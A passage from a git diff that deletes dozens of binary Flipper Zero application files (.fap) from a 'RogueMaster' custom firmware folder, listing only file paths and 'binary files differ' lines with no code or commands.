RM)/RogueMaster/Tools/pomodoro_timer.fap deleted file mode 100644 index cb528661e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro_timer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/programmercalc.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/programmercalc.fap deleted file mode 100644 index a9436e365..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/programmercalc.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/qrcode.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/qrcode.fap deleted file mode 100644 index c52c37943..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/qrcode.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/quac.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/quac.fap deleted file mode 100644 index f7dbdcc0d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/quac.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/resistance_calculator.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/resistance_calculator.fap deleted file mode 100644 index cbe34c62d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/resistance_calculator.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/roman_decoder.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/roman_decoder.fap deleted file mode 100644 index 4d00275ce..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/roman_decoder.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/rot13.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/rot13.fap deleted file mode 100644 index f15322413..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/rot13.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/skeleton_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/skeleton_app.fap deleted file mode 100644 index 05d60a904..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/skeleton_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/tasks.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/tasks.fap deleted file mode 100644 index 4e1648c59..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/tasks.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/techart_calendar.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/techart_calendar.fap deleted file mode 100644 index b6af73255..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/techart_calendar.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/text_viewer.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/text_viewer.fap deleted file mode 100644 index d82b54466..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/text_viewer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/time_tracker.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/time_tracker.fap deleted file mode 100644 index 3c8f889ba..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/time_tracker.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/tone_gen.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/tone_gen.fap deleted file mode 100644 index 94be62aff..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/tone_gen.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/totp.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/totp.fap deleted file mode 100644 index 30f9454b5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/totp.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/upython.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/upython.fap deleted file mode 100644 index 4c5d09326..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/upython.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/vin_decoder.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/vin_decoder.fap deleted file mode 100644 index c982073c7..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/vin_decoder.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/voltcalc_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/voltcalc_app.fap deleted file mode 100644 index 76be2c739..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/voltcalc_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/voyah_pass.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/voyah_pass.fap deleted file mode 100644 index 16856b47a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/voyah_pass.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/bad_kb.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/bad_kb.fap deleted file mode 100644 index 97caf536a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/bad_kb.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/bad_usb.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/bad_usb.fap deleted file mode 100644 index 081748df0..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/bad_usb.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/barcode_scannere.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/barcode_scannere.fap deleted file mode 100644 index bb3f71070..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/barcode_scannere.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/clippy.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/clippy.fap deleted file mode 100644 index edca5f320..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/clippy.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/flip_tdi.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/flip_tdi.fap deleted file mode 100644 index 023579a11..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/flip_tdi.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/hid_usb.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/hid_usb.fap deleted file mode 100644 index 358fd6a7b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/hid_usb.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/hidtransfer.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/hidtransfer.fap deleted file mode 100644 index 126bdf9ee..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/hidtransfer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/mass_storage.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/mass_storage.fap deleted file mode 100644 index 6fbe48e44..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/mass_storage.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/mousejiggler.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/mousejiggler.fap deleted file mode 100644 index 9c4b97bc4..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/mousejiggler.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/mtp.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/mtp.fap deleted file mode 100644 index e28b65b0d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/mtp.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/u2f.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/u2f.fap deleted file mode 100644 index 2d4c88749..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/u2f.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/usb_ccb.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/usb_ccb.fap deleted file mode 100644 index 765a33aef..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/usb_ccb.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/usb_hid_autofire.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/usb_hid_autofire.fap deleted file mode 100644 index 7465003e9..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/usb_hid_autofire.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/usb_midi.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/usb_midi.fap deleted file mode 100644 index 773bf5caf..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/usb_midi.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/xinput_controller.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/xinput_controller.fap deleted file mode 100644 index 9e77892da..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/xinput_controller.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton.fap b/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton.fap deleted file mode 100644 index 7043b54a1..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton_fuzzer.fap b/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton_fuzzer.fap deleted file mode 100644 index 60cbb846b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton_fuzzer.fap and /dev/null differ